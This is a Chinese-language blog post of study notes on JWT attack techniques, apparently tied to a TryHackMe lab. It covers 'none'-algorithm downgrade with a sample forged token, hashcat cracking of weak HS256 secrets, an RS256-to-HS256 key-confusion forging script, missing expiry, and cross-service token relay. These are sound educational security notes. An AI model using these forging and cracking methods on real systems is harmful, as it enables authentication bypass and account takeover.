JWT 安全

测试方法搜索 tryhackme jwt security writeup

  • 敏感信息

JWT发送给客户端,所以本身不能携带敏感信息
存到后端,用用户名进行索引

payload = jwt.decode(token, self.secret, algorithms="HS256")

username = payload['username']
flag = self.db_lookup(username, "flag")
  • 未验证签名

算法.payload.

  • 降级为None

https://gchq.github.io/CyberChef/ 修改头部
https://jwt.io/ 查看JWT与处理JWT的Payload部分

图片

示例:ew0KICAidHlwIjogIkpXVCIsDQogICJhbGciOiAiTm9uZSINCn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8

  • 弱对称密钥

wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list

hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list

  • 签名算法混淆

非对称签名算法(如 RS256),可能将其降级为 HS256,某些库会默认使用公钥作为对称签名算法( HS256 )的密钥

由于公钥是已知的,因此可以使用 HS256 算法结合公钥伪造有效的签名。

import jwt

public_key = "ADD_KEY_HERE"

payload = {
    'username' : 'user',
    'admin' : 0
}

access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)

这个公钥的一个示例为某端点泄露或返回公钥
/api/v1.0/example5
{
"public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHSoarRoLvgAk4O41RE0w6lj2e7TDTbFk62WvIdJFo/aSLX/x9oc3PDqJ0Qu1x06/8PubQbCSLfWUyM7Dk0+irzb/VpWAurSh+hUvqQCkHmH9mrWpMqs5/L+rluglPEPhFwdL5yWk5kS7rZMZz7YaoYXwI7Ug4Es4iYbf6+UV0sudGwc3HrQ5uGUfOpmixUO0ZgTUWnrfMUpy2dFbZp7puQS6T8b5EJPpLY+iojMb/rbPB34NrvJKU1F84tfvY8xtg3HndTNPyNWp7EOsujKZIxKF5/RdW+Qf9jjBMvsbjfCo0LiNVjpotiLPVuslsEWun+LogxR+fxLiUehSBb8ip",
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.kR4DjBkwFE9dzPNeiboHqkPhs52QQgaHcC2_UGCtJ3qo2uY-vANIC6qicdsfT37McWYauzm92xflspmSVvrvwXdC2DAL9blz3YRfUOcXJT03fVM7nGp8E7uWSBy9UESLQ6PBZ_c_dTUJhWg35K3d8Jao2czC0JGN3EQxhcCGtxJ1R7T9tzBMaqW-IRXfTCq3BOxVVF66ePEfvG7gdyjAnWrQFktRBIhU4LoYwem3UZ7PolFf0v2i6jpnRJzMpqd2c9oMHOjhCZpy_yJNl-1F_UBbAF1L-pn6SHBOFdIFt_IasJDVPr1Ybv75M26o8OBwUJ1KK_rwX41y5BCNGcks9Q"
}

  • JWT生命周期

无 exp 值

  • 跨服务器中继攻击

单个身份验证系统服务于多个应用程序

在appA的JWT值同时可以对appB和appC的API端点有效

posted @ 2026-07-30 02:36  sec875  阅读(14)  评论(0)    收藏  举报